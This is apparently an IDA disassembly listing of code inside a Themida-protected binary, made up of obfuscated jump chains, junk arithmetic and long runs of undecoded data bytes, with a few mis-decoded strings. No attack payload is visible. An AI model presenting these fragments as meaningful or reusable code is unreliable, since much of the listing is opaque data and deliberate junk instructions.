		xchg	ecx, [esp]
		pop	esp
		push	edx
		push	ebx
		mov	ebx, 165D0E29h
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		push	esi
		jmp	loc_562CED
; ---------------------------------------------------------------------------
aIIqsK		db '┴у┴ОИпk',0
		align 4


loc_561848:				; CODE XREF: Themida_:00565B79j
		pop	ecx
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_560AD4
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 30E92434h, 66000042h, 68240C8Bh,	94Fh, 89241489h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 8924248Bh, 0E954243Ch
		dd 2A75h, 2DD4F181h, 0CF017B1Eh, 4C78159h, 57000000h, 42474FFh
		dd 51243C8Bh, 0AAE95954h, 29FFFFB9h, 0F3015EF3h, 212DBA52h
		dd 0D3012C0Eh, 6CB7E9h,	14896600h, 0C0BA6624h, 0D5016693h
		dd 0ECBFE9h, 2434FF00h,	0E924048Bh, 0FFFFBDADh,	0FF2434FFh
		dd 48B2434h, 5077E924h,	0BA520000h, 1FDB171Bh, 1EF2814Ah
		dd 11FDB17h, 94E95AD6h,	8B00000Bh, 83682404h, 89000077h
		dd 0F0E92434h, 81FFFFFDh, 4ECh,	24348900h, 0FFFFFFBEh
		dd 8BF201FFh, 0B2E92434h, 81000040h, 4C7h, 0EA62E900h
		dd 5F35FFFFh, 351F2E6Eh, 4B73D9Eh, 736DEE81h, 0C62930DEh
		dd 736DC681h, 5F5830DEh, 8904EC83h, 4BA2414h, 1000000h
		dd 24148BD6h, 0A8D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_561961:				; CODE XREF: Themida_:00561C4Ej
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	edx
		jmp	loc_568539
; ---------------------------------------------------------------------------
		db 0C1h
		dd 990507E0h, 0D102381Eh, 6ADEE9E0h, 0DBF70000h, 531FCB81h
		dd 0EB81542Dh, 6FED7E87h, 239CE9h, 56E58900h, 4BEh, 5EF50100h
		dd 12F9BB53h, 0EB81366Ah, 366A12F5h, 36E9DD01h,	83FFFFF0h
		dd 5DE904C4h, 33000009h, 0C31240Ch, 240C3324h, 824248Bh
		dd 0E99C2404h, 0FFFFAAFCh, 68240489h, 79Ch, 24048F54h
		dd 52B3E9h, 0DF38100h, 8155A916h, 0C133BDC3h, 5BD801D8h
		dd 0E199E9h, 24343300h,	0FFEB0BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5619FD:				; CODE XREF: Themida_:00566A46j
		neg	esi
		neg	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5703D1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EC81h, 34890000h, 2D94BE24h, 0F1014B35h, 2CD9E9h, 0E9F83100h
		dd 56C1h, 50665B66h, 0E50001B4h, 0F9685866h, 8900001Fh
		dd 85B22414h, 0CA80CAFEh, 8EAC02Eh, 2C12B050h, 58C23022h
		dd 0C044B551h, 0E5C007EDh, 0F6C5FE07h, 0AF2AE9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A62:				; CODE XREF: Themida_:00564E52j
		inc	eax
		add	eax, 1
		sub	eax, 1BC75F24h
		jmp	loc_56E72B
; ---------------------------------------------------------------------------
		dd 6B0B68h, 240C8900h, 0BE565954h, 4, 565EF101h, 0E65B80BEh
		dd 858DE91Ch, 7FB80000h, 0E959D07Bh, 0D292h, 5524148Bh
		dd 0E0DDE9h, 4C48300h, 1CE9EE01h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561AAB:				; CODE XREF: Themida_:0056CCCCj
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		push	ecx
		mov	ecx, 24h
		jmp	loc_55CFCE
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 113771ABh, 815AD689h, 285CECCEh, 6ECE814Eh, 0E9186835h
		dd 8D58h, 4BBh,	5BDE0100h, 31243433h, 0FFE92434h
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561AEF:				; CODE XREF: Themida_:0056EF5Aj
		xor	esi, [esp]
		pop	esp
		jmp	loc_56516F
; ---------------------------------------------------------------------------
		dd 28CCE281h, 0F3E931ACh, 58000054h, 0CAE9E801h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_561B0B:				; CODE XREF: Themida_:0055F681j
		pop	esi
		mov	[edi+20h], esi
		pop	esi
		pop	ebx
		jmp	loc_55F418
; ---------------------------------------------------------------------------


loc_561B16:				; CODE XREF: Themida_:0055CBAAj
		pop	ecx
		xor	ecx, eax
		pop	eax
		xchg	edi, ecx
		add	edi, 0FFFFFFFFh
		jmp	loc_5701B8
; ---------------------------------------------------------------------------
aS7b		db '\И7│',0
		dd 0BDC28000h, 0D000432Ch, 685A4304h, 656Eh, 51241C89h
		dd 0E98056B1h, 0C53BE9B2h, 0DD310000h, 8BEE015Bh, 0C483242Ch
		dd 0DE86804h, 3C890000h, 4BF24h, 0FE010000h, 5F2434FFh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 2FE9240Ch, 2DFFFFD7h
		dd 2D6D2D4Bh, 2BE9D801h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B8B:				; CODE XREF: Themida_:00562EE7j
		pop	ebp
		jmp	loc_570817
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0E9h
		dd 0FFFFD156h
; ---------------------------------------------------------------------------


loc_561B98:				; CODE XREF: Themida_:00567331j
		sub	edx, esi
		pop	esi
		pop	ebp
		sub	edx, eax
		jmp	loc_56A818
; ---------------------------------------------------------------------------
		db 83h
		dd 4DE904ECh, 100009Eh,	0EB8159CEh, 10660791h, 1E6CC381h
		dd 0F30140E6h, 1E6CEB81h, 0BD5540E6h, 61A467C3h, 2F57C581h
		dd 34E91754h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_561BD3:				; CODE XREF: Themida_:0056490Bj
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55DA03
; ---------------------------------------------------------------------------
		dw 0EBD1h
		dd 61D6BD55h, 0EB011CEDh, 0CABFE9h, 0E6E95400h
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561BFF:				; CODE XREF: Themida_:0055F3D3j
		push	ebp
		mov	ebp, 634E1D8Eh
		sub	ebx, 77547E8Ch
		add	ebx, ebp
		add	ebx, 77547E8Ch
		pop	ebp
		jmp	loc_5613DE
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 66000000h, 51241489h, 0EA88E588h, 6F91E9h, 80DBB400h
		dd 0EB801FECh, 0E9E3287Bh, 300Bh
; ---------------------------------------------------------------------------


loc_561C3C:				; CODE XREF: Themida_:0056992Ej
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_561961
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6C7B2C29h, 54F1CE81h, 0E6816053h, 757417C1h,	81D6F74Eh
		dd 0D34E24EEh, 0F9CBE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561C72:				; CODE XREF: Themida_:0055CCA6j
		sub	ch, 16h
		jmp	loc_56A211
; ---------------------------------------------------------------------------
		dw 3CB7h
		dd 0F828DE2Ch, 5B66DE04h, 0EC815166h, 4, 0B3241C89h, 0E9D988DBh
		dd 0FFFFDAB1h, 8324348Bh, 81E904C4h, 81FFFFD8h,	4ECh, 240C8900h
		dd 0FFAD9BE9h, 1A8D68FFh, 4890000h, 0DCDE924h, 89660000h
		dd 0FEB42404h, 5866E300h, 73B45066h, 5229EC80h,	0D42878B2h
		dd 66E3305Ah, 0B4506658h, 66E328F9h, 8124048Bh,	2C4h, 0FEC3FE00h
		dd 46C380C3h, 0D828302Ch, 45B3004h, 6213684Dh, 14890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56A706
; ---------------------------------------------------------------------------


loc_561D15:				; CODE XREF: Themida_:00570134j
		sub	ebp, 61E31310h
		add	ebp, 0A757CE5Dh
		shl	ebp, 3
		shl	ebp, 8
		add	ebp, 17ED800h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56992B
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 41C51E80h
		mov	ecx, [esp]
		jmp	loc_55E0ED
; ---------------------------------------------------------------------------
		dw 0B3B6h
		dd 8006E6C0h, 0C680FEE6h, 80DEF6A2h, 0EE808DCEh, 5AF78844h
		dd 5B66FC88h, 525068h, 240C8900h, 0DDF6A4B5h, 8016ED80h
		dd 0EB00BAC3h, 59BAEB80h, 0EB80E300h, 48B6646h,	2C48324h
		dd 0FFC0B60Fh, 31E98734h, 0BBFFFFA7h, 7FA1684Ch, 0A76BB3B9h
		dd 5BD929AEh, 4189C181h, 0E9817717h, 7DEB010Fh,	5AFABE56h
		dd 0CE816F73h, 67907A47h, 8103EEC1h, 377F64C6h,	27F68105h
		dd 11B1FBCh, 0E9835EF1h, 0B4BF5701h, 536D1925h,	0A71238BBh
		dd 42EF8179h, 2972530Eh, 42C781DFh, 5B72530Eh, 51E9D7F7h
		dd 83000034h, 0E5E904C4h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DFF:				; CODE XREF: Themida_:0056A419j
		mov	bl, al
		mov	ch, bl
		pop	ebx
		push	edx
		mov	dl, ch
		jmp	loc_55EF39
; ---------------------------------------------------------------------------
		dd 0CE9F809h, 8100009Ch, 321968EDh, 81D5F73Dh, 0AE243BC5h
		dd 0FEF5815Ah, 0E9172B3Dh, 0FFFFBD84h, 5E241C89h, 81241C8Bh
		dd 4C4h, 5E6C100h, 1669BF57h, 0FE014B2Bh, 4564E9h, 1A2D2D00h
		dd 3C8B040Bh, 4C48324h,	63E568h, 24048900h, 405E089h, 0E9000000h
		dd 73FCh, 8B2434FFh, 0C4812414h, 4, 74E5E956h, 0F7810000h
		dd 6D7A7AD1h, 13D3BA52h, 0EA81499Bh, 3C17035Eh,	6E2C14Ah
		dd 0F361C281h, 0D701F175h, 0D594E9h, 24148900h,	42474FFh
		dd 24048F5Ah, 0A61EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EAE:				; CODE XREF: Themida_:005635C8j
		and	esi, 6A8A2D9Dh
		push	0
		jmp	loc_570FAE
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0B186400h, 4A8DC581h, 0EE8950A7h, 2A55BB5Dh,	0F301EA11h
		dd 0B4E9815Eh, 125C15Fh, 0B4C181D9h, 0E925C15Fh, 581Bh
; ---------------------------------------------------------------------------


loc_561EE8:				; CODE XREF: Themida_:00561418j
		mov	ecx, ebp
		pop	ebp
		pop	ebx
		xor	ebx, ecx
		jmp	loc_5676FB
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 1CAAE9h, 5B545300h,	4C381h,	0BA520000h
		dd 4116042Dh, 4218C281h, 0D2F7471Ch, 5AE28142h,	8126E97Eh
		dd 36C7EAC2h, 1AA3E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561F2A:				; CODE XREF: Themida_:005605C5j
		sub	eax, 111516A9h
		sub	eax, ecx
		jmp	loc_56DB89
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 7C7CBF24h, 7C29521Eh, 0FF5F0424h, 81582434h,	4C4h, 0C863E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F52:				; CODE XREF: Themida_:0056FD00j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	41E7h
		mov	[esp], edx
		push	esp
		pop	edx
		push	70A1h
		mov	[esp], ecx
		jmp	loc_569AE5
; ---------------------------------------------------------------------------
		dd 0EC81E589h, 4, 0BF243C89h, 5A2F528Dh, 4EC8147h, 89000000h
		dd 50BB241Ch, 572AAD71h, 0FFD2B2E9h, 241C8BFFh,	0E904C483h
		dd 0FFFFF00Bh, 0C180D9F6h, 59CE0864h, 82FFE9h, 3E7C100h
		dd 79756855h, 34FF4435h, 51C5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561FBE:				; CODE XREF: Themida_:0056021Cj
		pop	edi
		shr	ebx, 3
		push	esi
		mov	esi, 7A653AD2h
		sub	ebx, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_564FCD
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFA6C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FD9:				; CODE XREF: Themida_:0056CDBAj
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55E988
; ---------------------------------------------------------------------------
		dd 60BA5255h, 810BE743h, 0B4294FEAh, 0ABC28160h, 81743B09h
		dd 1E2F75F2h, 6AF2812Eh, 8122AF3Dh, 8C8C3AF2h, 5AD5893Dh
		dd 815DE929h, 0C45FBDE9h, 57F9016Bh, 25772CBFh,	0F6EF8170h
		dd 81073766h, 0D64F87C7h, 8BF90102h, 0C481243Ch, 4, 0A2BD5552h
		dd 811BAE25h, 0A5B84EDh, 7EDC137h, 7424ED81h, 0C58133DBh
		dd 32122C90h, 15DEA89h,	5A028BCAh, 4308E9h, 81F10100h
		dd 4C1167C1h, 0CE015E4Bh, 0CA31E959h, 8359FFFFh, 0E3C104C4h
		dd 5AFDE904h, 53660000h, 0DD28FFB3h, 0E5805B66h, 0AEC58023h
		dd 0ACD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_56208D:				; CODE XREF: Themida_:0055EC8Bj
		pop	ebp
		jmp	loc_57035A
; ---------------------------------------------------------------------------
		db 1
		dd 54C781F7h, 0E9623C29h, 4914h
; ---------------------------------------------------------------------------


loc_5620A0:				; CODE XREF: Themida_:0056E059j
		xchg	esi, ebx
		xchg	ebx, ecx
		not	ecx
		xor	ecx, 708406B6h
		add	ecx, 375D2B6Fh
		sub	ecx, 0D9397DEh
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edi, ecx
		sub	edi, 68A0043Bh
		push	7779h
		mov	[esp], ebx
		push	esi
		mov	esi, 2AF54727h
		jmp	loc_5668C6
; ---------------------------------------------------------------------------
		dd 0BDh, 87FD2900h, 0EF835DEFh,	45F78101h, 8915EB63h, 7EB3E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5620F6:				; CODE XREF: Themida_:005667D1j
		add	esp, 4
		push	ebp
		mov	ebp, 2
		push	esi
		mov	esi, 15C5166Fh
		jmp	loc_564157
; ---------------------------------------------------------------------------


loc_56210D:				; CODE XREF: Themida_:0056C1FDj
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 4
		jmp	loc_56CEC6
; ---------------------------------------------------------------------------


loc_56211C:				; CODE XREF: Themida_:0055E632j
		mov	esi, [esp]
		jmp	loc_568BE0
; ---------------------------------------------------------------------------


loc_562124:				; CODE XREF: Themida_:0056E86Cj
		or	dh, cl
		pop	ecx
		add	dh, 8Ch
		add	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	dx
		push	cx
		mov	ch, 0F3h
		jmp	loc_55EBBD
; ---------------------------------------------------------------------------


loc_562140:				; CODE XREF: Themida_:005632CDj
		mov	ebx, 14CC58FCh
		and	ebx, 1F3811E0h
		sub	ebx, 0A2E5C4Eh
		add	ebx, 4FFCEDFBh
		jmp	loc_56D276
; ---------------------------------------------------------------------------
		dd 0C781CF29h, 1F445FC6h, 52240C8Bh, 0C281E289h, 4, 4C281h
		dd 16E90000h, 5E00002Bh, 740AC781h, 0EFC14993h,	61006802h
		dd 0C890000h, 1B924h, 0CF010000h, 83240C8Bh, 9CE904C4h
		dd 59000002h, 0E904C483h, 0FFFFC650h
; ---------------------------------------------------------------------------


loc_5621A8:				; CODE XREF: Themida_:005668A8j
		push	1A26027Ah
		pop	ebx
		push	ecx
		mov	ecx, 25316003h
		jmp	loc_56E733
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFE2D0E9h, 69DE68FFh, 0C890000h, 28DCB524h,	0E95259EBh
		dd 8437h
; ---------------------------------------------------------------------------


loc_5621D4:				; CODE XREF: Themida_:0056F5ACj
		add	edx, eax
		pop	eax
		sub	[edi+40h], edx
		jmp	loc_56A4BB
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 1DE904ECh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5621EB:				; CODE XREF: Themida_:005661B7j
		dec	ecx
		jmp	loc_567156
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 9C5166C8h, 0FFA2CFE9h, 5A595AFFh, 19E9FE88h,	4D000065h
		dd 7078C581h, 0EB01976Dh, 1E6FE9h, 5CFB6800h, 3CE90000h
		dd 0BF0000B1h, 3015373h, 0EFC1DFF7h, 0EEC78108h, 0E9573620h
		dd 1031h, 0C581E589h, 4, 4ED81h, 2C870000h, 1C895C24h
		dd 47BF5724h, 891ADD5Fh, 0B8BA5FFBh, 0E9E522A4h, 0FFFFA760h
; ---------------------------------------------------------------------------


loc_56225C:				; CODE XREF: Themida_:0056AB81j
		sub	[edx+30h], ebp
		jmp	loc_56509A
; ---------------------------------------------------------------------------


loc_562264:				; CODE XREF: Themida_:00560B22j
		push	16B8h
		mov	[esp], edx
		mov	edx, 33C726FCh
		xor	esi, edx
		pop	edx
		jmp	loc_56793C
; ---------------------------------------------------------------------------


loc_562279:				; CODE XREF: Themida_:00563539j
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5686C0
; ---------------------------------------------------------------------------
		dd 0FFA233E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562299:				; CODE XREF: Themida_:00569E9Ej
		add	esp, 4
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	6508h
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_55EC18
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h,	2, 4871E9h
		dd 43FBB00h, 0F3814DDAh, 0D675CFh, 4EC8151h, 89000000h
		dd 0EBB241Ch, 0C1173F36h, 0EFE902E3h, 89FFFFF8h, 99BCE9DDh
		dd 31AD0000h, 4EC81D8h,	0E9000000h, 0FFFFFEA9h,	0E92434FFh
		dd 0E7A1h, 81240C8Bh, 4C4h, 0E7885300h,	8B5BF988h, 0C4832404h
		dd 0F766E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562332:				; CODE XREF: Themida_:00567BFCj
		push	ebx
		mov	ebx, 0EA105680h
		add	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_56909B
; ---------------------------------------------------------------------------
		dd offset dword_5481D0+198h
		align 2
		dw 489h
		dd 19FDE924h, 51580000h, 0C502E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56235A:				; CODE XREF: Themida_:00563FF5j
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 0BFEFFEE6h
		push	edi
		mov	edi, edx
		mov	esi, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_565755
		push	dword ptr [edi+1Ch]
		jmp	loc_56D1AE
; ---------------------------------------------------------------------------
		dd 5024148Bh, 4055854h,	5000000h, 4, 2474FF50h,	0B7ECE904h
		dd 0EB810000h, 5B907FBAh, 0C381F329h, 5B907FBAh, 8B2434FFh
		dd 95E92434h, 66FFFFA4h, 0E9240C8Bh, 5113h, 0E11AB42Dh
		dd 48D0F753h, 0F3D0405h, 44B85010h, 143C82Fh, 0C70158C7h
		dd 8904EC83h, 0E2892414h, 4C281h, 0EA830000h, 74FF5204h
		dd 0E95A0424h, 0FFFFACFFh, 0C1FE5966h, 0C0F8C180h, 0E9C007E1h
		dd 93E18007h, 0FFD0B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562415:				; CODE XREF: Themida_:005645A2j
		pop	ebp
		push	3734h
		jmp	loc_56E894
; ---------------------------------------------------------------------------


loc_562420:				; CODE XREF: Themida_:0056EE98j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_56E3A6
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 80DDF613h, 0E8E902F5h, 810000A2h, 95686FF7h,	13C78154h
		dd 2DA958C3h, 0DC8788Dh, 0D42CE957h, 0ED810000h, 58C2189Fh
		dd 7862CD81h, 0DDF70AF8h, 0ED81D5F7h, 0C4CB4FA6h, 562FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56246D:				; CODE XREF: Themida_:0056D1A9j
		push	edx
		jmp	loc_560153
; ---------------------------------------------------------------------------
		db 0BBh
		dd 21B12F0Ah, 1F6EE9h, 59CD3100h, 6CE8C781h, 0EF014A83h
		dd 6CE8B951h, 9DE94A83h, 83000094h, 348704EEh, 1C895C24h
		dd 0F65E924h, 0E9530000h, 5298h, 1E9D989h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5624AF:				; CODE XREF: Themida_:005607EFj
		sub	ecx, 0FFFFFFFFh
		jmp	loc_56DCC3
; ---------------------------------------------------------------------------
		db 89h
		dd 0DE9240Ch
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5624BF:				; CODE XREF: Themida_:0056E0EAj
		mov	esp, [esp]
		push	edi
		mov	edi, 3C0D4B9Ah
		push	eax
		mov	eax, 0
		sub	eax, edi
		jmp	loc_55DE1F
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 5504C483h, 0FF168h, 241C8900h, 1C3DBC68h, 814B5B3Bh
		dd 9DBF3h, 8BDD894Fh, 0E953241Ch, 1EA6h, 0FF2434FFh, 81592434h
		dd 4ECh, 0CCCEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56250E:				; CODE XREF: Themida_:00563EE9j
		xor	ecx, 367A5C31h
		or	ecx, 454E02B1h
		jmp	loc_561666
; ---------------------------------------------------------------------------
a_sD		db '_И╣d',0
		dd 48B6600h, 43C06824h,	2C890000h, 756DE924h, 4890000h
		dd 48B5424h, 4C48124h, 5000000h, 4, 3304C083h, 4312404h
		dd 0C707E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562556:				; CODE XREF: Themida_:0056FE7Aj
		mov	[esp], esp
		push	ecx
		jmp	loc_569D7E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24148B66h, 15B68h, 242C8900h, 2434FF54h, 0DB8AE9h, 0B6ED8100h
		dd 0C11ED737h, 0E5C102E5h, 6E1D6808h, 3C890000h, 33E924h
		dd 0C6810000h, 5337EA09h, 0E95EF329h, 4954h, 0E959CE01h
		dd 4274h, 8924248Bh, 5F54243Ch,	2041BB53h, 0E3C10D5Dh
		dd 9D04E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5625BA:				; CODE XREF: Themida_:00568336j
		add	ebx, edx
		jmp	loc_568158
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 66h
		dd 0C1042360h, 0EB8106EBh, 9616FD7Dh, 15BDF89h,	0EA015FFDh
		dd 4EA835Dh, 5C241487h,	0E9243C89h, 0DDF4h
; ---------------------------------------------------------------------------


loc_5625E8:				; CODE XREF: Themida_:0056AAEFj
		shl	dh, 8
		add	dh, 1
		jmp	loc_55D2C0
; ---------------------------------------------------------------------------


loc_5625F3:				; CODE XREF: Themida_:00568BA4j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_560548
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E189240Ch, 0FFC1A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562619:				; CODE XREF: Themida_:0056566Cj
		pop	edx
		sub	eax, ebx
		jmp	loc_55EE7B
; ---------------------------------------------------------------------------
aPhz		db 'Ph┤+',0
		dw 8900h
		dd 9BB9240Ch, 511AD545h, 349CE9h, 68E68900h, 1DBDh, 0E9243C89h
		dd 0FFFFA1EAh
; ---------------------------------------------------------------------------


loc_562644:				; CODE XREF: Themida_:00563402j
		add	ecx, 5D6F7AD8h
		add	ecx, edx
		sub	ecx, 5D6F7AD8h
		jmp	loc_55E2C1
; ---------------------------------------------------------------------------


loc_562657:				; CODE XREF: Themida_:0055F429j
		mov	[esp], edx
		jmp	loc_565317
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 555E0000h, 8904EC83h, 0D3B9240Ch, 0E959E472h
		dd 0FFFFBA5Dh, 0D7C5E1BEh, 0E9C6010Ch, 538Eh
; ---------------------------------------------------------------------------


loc_562684:				; CODE XREF: Themida_:00563541j
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		push	1792h
		jmp	loc_56D9BB
; ---------------------------------------------------------------------------
		dd 8805E829h, 8B175314h, 0C481242Ch, 4,	26E9D801h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5626B7:				; CODE XREF: Themida_:00566C6Bj
		push	eax
		jmp	loc_56CB25
; ---------------------------------------------------------------------------


loc_5626BD:				; CODE XREF: Themida_:0057046Fj
		pop	ebp
		jmp	loc_567DC4
; ---------------------------------------------------------------------------
aXpqst		db '[XPQИtэ',0
		align 4
		dd 5004C483h, 0C20E9h, 8C685200h, 5A63AD42h, 8108EAC1h
		dd 5237A8CAh, 4EC8136h,	89000000h, 0AFB82404h, 29045146h
		dd 0E28158C2h, 458F1872h, 6944CA81h, 0F28108BCh, 8BE7972h
		dd 0E95AD301h, 1D6h, 4521EE81h,	0F0019F82h, 2DE95F5Eh
		dd 660000DEh, 6824048Bh, 234Bh,	89243C89h, 0A98CE9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562732:				; CODE XREF: Themida_:005647DFj
		pop	ebx
		add	esp, 4
		jmp	loc_5606E7
; ---------------------------------------------------------------------------


loc_56273B:				; CODE XREF: Themida_:0056D29Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55D667
; ---------------------------------------------------------------------------
aZSs		db '┤<$Иsб',0
		align 2


loc_56274E:				; CODE XREF: Themida_:00564AB8j
		add	esi, 0FF9B1221h
		jmp	loc_5612F9
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 5Bh
		dd 815C8C5Bh, 420D4ACBh, 0A3E95113h, 530000CCh,	0FA00A1B7h
		dd 83241C8Bh, 1C0404C4h, 0EC83D000h, 240C8904h,	3EE9DAB5h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562787:				; CODE XREF: Themida_:00570971j
		push	edx
		jmp	loc_564AEC
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0D3h
		dd 17C673Eh, 0D3C581CDh, 8B7C673Eh, 0C481240Ch,	4, 2474FF55h
		dd 0D20DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5627AE:				; CODE XREF: Themida_:005701D8j
		mov	ebp, ebx
		jmp	loc_56AD79
; ---------------------------------------------------------------------------


loc_5627B5:				; CODE XREF: Themida_:00562D40j
		dec	ecx
		add	ecx, 1F514721h
		shl	ecx, 1
		inc	ecx
		push	edx
		mov	edx, 64886368h
		or	edx, 490B03EFh
		dec	edx
		inc	edx
		shr	edx, 1
		xor	edx, 8B3FCBCCh
		jmp	loc_56948D
; ---------------------------------------------------------------------------
		dw 5FB9h
		dd 81294743h, 8F6BACE9h, 2D05E977h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5627EA:				; CODE XREF: Themida_:00570917j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		jmp	loc_56BA17
; ---------------------------------------------------------------------------
		dw 3005h
aAsef		db '"гaИ┘Д',0
		align 4
		dd 24048B5Fh, 4C481h, 0BA520000h, 306E0259h, 2119C281h
		dd 0C2811B4Ah, 0B447DC92h, 3FE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_562825:				; CODE XREF: Themida_:00567BC5j
		mov	esp, [esp]
		jmp	loc_56CCD1
; ---------------------------------------------------------------------------
aNn9jjs		db '╨╫N█9JJИ',0
		dw 10h
		db 0
; ---------------------------------------------------------------------------


loc_562839:				; CODE XREF: Themida_:00560BDEj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55F913
; ---------------------------------------------------------------------------
		dd 2404895Ch, 47DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_562855:				; CODE XREF: Themida_:00570230j
		pop	ecx
		push	esi
		jmp	loc_568161
; ---------------------------------------------------------------------------
		dd 5D03F281h, 21E930E3h, 580000B7h, 148BF488h, 42AEE924h
		dd 0E95B0000h, 7B46h
; ---------------------------------------------------------------------------


loc_562878:				; CODE XREF: Themida_:00564995j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56E456
		push	6763h
		mov	[esp], ebp
		jmp	loc_56E604
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 5Bh
		dd 260C281h, 0D001FE35h, 0E92434FFh, 3610h, 8B24048Fh
		dd 0F662424h, 9C2404ABh, 0FF9C13E9h, 240487FFh,	243C895Ch
